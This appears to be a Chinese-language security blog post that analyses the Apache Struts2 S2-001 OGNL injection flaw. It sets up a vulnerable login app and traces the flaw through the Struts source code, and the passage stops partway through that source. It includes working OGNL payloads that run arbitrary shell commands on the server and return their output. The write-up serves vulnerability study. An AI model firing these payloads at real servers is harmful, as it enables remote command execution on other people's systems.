前言
最近学习java安全,在分析s2-001的时候发现了一些问题和心得。
一方面网上关于s2-001的漏洞分析很少,基本上都是poc+利用而已。
另一方面在调试过程中感觉apache官方通告有不准确的地方,这点见后面的一点说明
部分。
有不准确的地方望各位师傅指出,谢谢。
漏洞信息
漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-001
漏洞成因官方概述:Remote code exploit on form validation error
漏洞影响:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
环境搭建
源码结构:
几个主要文件(待会用到):
index.jsp
<html>
<head> <title>用户登录</title> </head> <body> <h1>用户登录</h1> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
struts.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts> <package name="s2-001" extends="struts-default"> <action name="login" class="com.test.LoginAction"> <result name="success">/success.jsp</result> <result name="error">/index.jsp</result> </action> </package> </struts>
web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app>
完整源码见附件。
漏洞利用
最简单poc:
%{1+1}
任意命令执行:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
将new java.lang.String[]{"pwd"})
中的pwd
替换为对应的命令,即可执行。
如:打开根目录 :
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
漏洞分析
在经过tomcat容器的处理后,http请求会到达struts2,从这里开始调试吧。
在 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:158 接受我们输入的参数值,之后会调用对应的set方法(这个省略):
ValueStack stack = ac.getValueStack(); setParameters(action, stack, parameters); } finally {
继续执行,执行完interceptor部分,也即对return invocation.invoke();
进行step over,到达/com/opensymphony/xwork2/DefaultActionInvocation.java:252
跟进executeResult()
,到达 /com/opensymphony/xwork2/DefaultActionInvocation.java:343
跟进result.execute(this)
,到达 /org/apache/struts2/dispatcher/StrutsResultSupport.java:175:
此后在dispatcher.forward(request, response);
跟进,此处省略一些过程,相关调用栈如下:
进入 /org/apache/struts2/views/jsp/ComponentTagSupport.java:47,
这里会对jsp标签进行解析,但这时的标签并不包含我们的payload,我们可以在这里step over,直到解析到对应的标签:
如上图,我们提交的password值为%{1+1}
,因此着重关注对<s:textfield name="password" label="password" />
解析。回到doStartTag
,执行完后会再次回到index.jsp
,此时遇到了相应的闭合标签/>
,会跳转到doEndTag
:
public int doEndTag() throws JspException { component.end(pageContext.getOut(), getBody()); component = null; return EVAL_PAGE; }
跟进component.end()
,到达 /org/apache/struts2/components/UIBean.java:486:
跟入evaluateParams
后一直执行到如下图
由于开启了altSyntax
,expr变为为%{password}
跟入addParameter("nameValue", findValue(expr, valueClazz));
中的findValue
,来到 /org/apache/struts2/components/Component.java:318
protected Object findValue(String expr, Class toType) { if (altSyntax() && toType == String.class) { return TextParseUtil.translateVariables('%', expr, stack); }
开启了altSyntax
且toType
为class.java.lang.string
,跟入TextParseUtil.translateVariables
,在/com/opensymphony/xwork2/util/TextParseUtil.java:
public static String translateVariables(char open, String expression, ValueStack stack) { return translateVariables(open, expression, stack, String.class, null).toString(); }
继续跟入translateVariables
,源码如下:
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) { // deal with the "pure" expressions first! //expression = expression.trim(); Object result = expression; while (true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int end; char c; int count = 1; while (start != -1 && x < length && count != 0) { c = expression.charAt(x++); if (c == '{') { count++; } else if (c == '}') { count--; } } end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result +